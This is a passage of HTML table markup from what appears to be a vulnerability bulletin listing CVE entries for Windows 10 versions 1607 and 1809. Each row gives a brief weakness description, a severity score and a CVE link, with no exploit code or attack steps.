&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80075&quot; target=&quot;_blank&quot;&gt;CVE-2026-80075&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81355&quot; target=&quot;_blank&quot;&gt;CVE-2026-81355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83940&quot; target=&quot;_blank&quot;&gt;CVE-2026-83940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83954&quot; target=&quot;_blank&quot;&gt;CVE-2026-83954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83955&quot; target=&quot;_blank&quot;&gt;CVE-2026-83955&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83967&quot; target=&quot;_blank&quot;&gt;CVE-2026-83967&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83968&quot; target=&quot;_blank&quot;&gt;CVE-2026-83968&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83969&quot; target=&quot;_blank&quot;&gt;CVE-2026-83969&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83970&quot; target=&quot;_blank&quot;&gt;CVE-2026-83970&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83971&quot; target=&quot;_blank&quot;&gt;CVE-2026-83971&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83972&quot; target=&quot;_blank&quot;&gt;CVE-2026-83972&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83973&quot; target=&quot;_blank&quot;&gt;CVE-2026-83973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83974&quot; target=&quot;_blank&quot;&gt;CVE-2026-83974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83975&quot; target=&quot;_blank&quot;&gt;CVE-2026-83975&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83976&quot; target=&quot;_blank&quot;&gt;CVE-2026-83976&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83977&quot; target=&quot;_blank&quot;&gt;CVE-2026-83977&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83978&quot; target=&quot;_blank&quot;&gt;CVE-2026-83978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83979&quot; target=&quot;_blank&quot;&gt;CVE-2026-83979&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83980&quot; target=&quot;_blank&quot;&gt;CVE-2026-83980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83981&quot; target=&quot;_blank&quot;&gt;CVE-2026-83981&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83982&quot; target=&quot;_blank&quot;&gt;CVE-2026-83982&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83983&quot; target=&quot;_blank&quot;&gt;CVE-2026-83983&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83985&quot; target=&quot;_blank&quot;&gt;CVE-2026-83985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83986&quot; target=&quot;_blank&quot;&gt;CVE-2026-83986&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83987&quot; target=&quot;_blank&quot;&gt;CVE-2026-83987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83988&quot; target=&quot;_blank&quot;&gt;CVE-2026-83988&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Services for NFS ONCRPC XDR Driver allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83989&quot; target=&quot;_blank&quot;&gt;CVE-2026-83989&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83995&quot; target=&quot;_blank&quot;&gt;CVE-2026-83995&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84000&quot; target=&quot;_blank&quot;&gt;CVE-2026-84000&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Key Distribution Center allows an unauthorized attacker to deny service over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84001&quot; target=&quot;_blank&quot;&gt;CVE-2026-84001&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85360&quot; target=&quot;_blank&quot;&gt;CVE-2026-85360&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows ALPC allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85880&quot; target=&quot;_blank&quot;&gt;CVE-2026-85880&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Failover Cluster allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73010&quot; target=&quot;_blank&quot;&gt;CVE-2026-73010&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69386&quot; target=&quot;_blank&quot;&gt;CVE-2026-69386&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69503&quot; target=&quot;_blank&quot;&gt;CVE-2026-69503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69530&quot; target=&quot;_blank&quot;&gt;CVE-2026-69530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Connected User Experiences and Telemetry allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69625&quot; target=&quot;_blank&quot;&gt;CVE-2026-69625&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Win32K allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69689&quot; target=&quot;_blank&quot;&gt;CVE-2026-69689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69762&quot; target=&quot;_blank&quot;&gt;CVE-2026-69762&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in Windows ALPC allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69874&quot; target=&quot;_blank&quot;&gt;CVE-2026-69874&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69875&quot; target=&quot;_blank&quot;&gt;CVE-2026-69875&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows USB Video Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72962&quot; target=&quot;_blank&quot;&gt;CVE-2026-72962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in Windows Failover Cluster allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78444&quot; target=&quot;_blank&quot;&gt;CVE-2026-78444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78450&quot; target=&quot;_blank&quot;&gt;CVE-2026-78450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Hello allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81354&quot; target=&quot;_blank&quot;&gt;CVE-2026-81354&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows VHD miniport driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56172&quot; target=&quot;_blank&quot;&gt;CVE-2026-56172&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69279&quot; target=&quot;_blank&quot;&gt;CVE-2026-69279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows License Manager allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69281&quot; target=&quot;_blank&quot;&gt;CVE-2026-69281&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Missing authorization in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69377&quot; target=&quot;_blank&quot;&gt;CVE-2026-69377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in Windows Bluetooth Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69388&quot; target=&quot;_blank&quot;&gt;CVE-2026-69388&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Use after free in OpenSSH for Windows allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69397&quot; target=&quot;_blank&quot;&gt;CVE-2026-69397&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in Windows Bluetooth Service allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69398&quot; target=&quot;_blank&quot;&gt;CVE-2026-69398&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows IKE Extension allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69429&quot; target=&quot;_blank&quot;&gt;CVE-2026-69429&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1809&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Error Reporting allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
